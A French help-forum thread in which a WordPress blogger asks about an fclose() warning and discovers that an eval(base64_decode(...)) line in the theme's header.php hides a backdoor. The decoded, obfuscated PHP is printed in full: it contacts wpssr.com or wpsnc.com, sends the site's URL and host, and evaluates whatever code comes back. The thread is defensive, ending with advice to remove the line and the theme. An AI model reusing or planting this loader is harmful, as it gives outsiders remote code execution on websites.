Soucis Chmod ?
Résolu
Yaninho
Messages postés
484
Date d'inscription
Statut
Membre
Dernière intervention
-
Yaninho Messages postés 484 Date d'inscription Statut Membre Dernière intervention -
Yaninho Messages postés 484 Date d'inscription Statut Membre Dernière intervention -
Bonjour,
Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?
Voici le message :
La ligne en question est la suivante:
Merci
Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?
Voici le message :
Warning: fclose(): supplied argument is not a valid stream resource in ......
La ligne en question est la suivante:
<?php eval(base64_decode('une série de chiffres et de lettres')) ?>
Merci
A voir également:
- Soucis Chmod ?
- Chmod +s ✓ - Forum Linux / Unix
- Chmod 755 - Forum Programmation
- Commande chmod - Forum Shell
- Chmod avec windows - Forum Windows
- Chmod www-data ✓ - Forum Perl
4 réponses
Cela n'a rien à voir avec les droits.
Et cela ne vient pas non plus de cette ligne.
Il sert à quoi ton eval() ?
Et cela ne vient pas non plus de cette ligne.
Il sert à quoi ton eval() ?
Yaninho
Messages postés
484
Date d'inscription
Statut
Membre
Dernière intervention
63
C'est une bonne question. Je m'explique. C'est un blog fonctionnant sous wordpress, avec un template, cette ligne est par défaut dans le header.php...
D'accord, j'ai compris, même si je déteste ce genre de truc.
Pour débuguer, tu devrais faire un echo de base64_decode('une série de chiffres et de lettres') juste un avant la ligne de l'eval.
Pour débuguer, tu devrais faire un echo de base64_decode('une série de chiffres et de lettres') juste un avant la ligne de l'eval.
Et voici le résultat.....Superbe non ? J'ai un peu indenté quand même.
if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
Tiens trouvé sur google...
http://209.85.229.132/search?q=cache:2Wv8dAReZdMJ:www.astucesdewebmaster.com/tag/wordpress+www.wpsnc.com&cd=1&hl=fr&ct=clnk&gl=fr
Vire cette ligne d'urgence, et vire ce thème en meme temps.
http://209.85.229.132/search?q=cache:2Wv8dAReZdMJ:www.astucesdewebmaster.com/tag/wordpress+www.wpsnc.com&cd=1&hl=fr&ct=clnk&gl=fr
Vire cette ligne d'urgence, et vire ce thème en meme temps.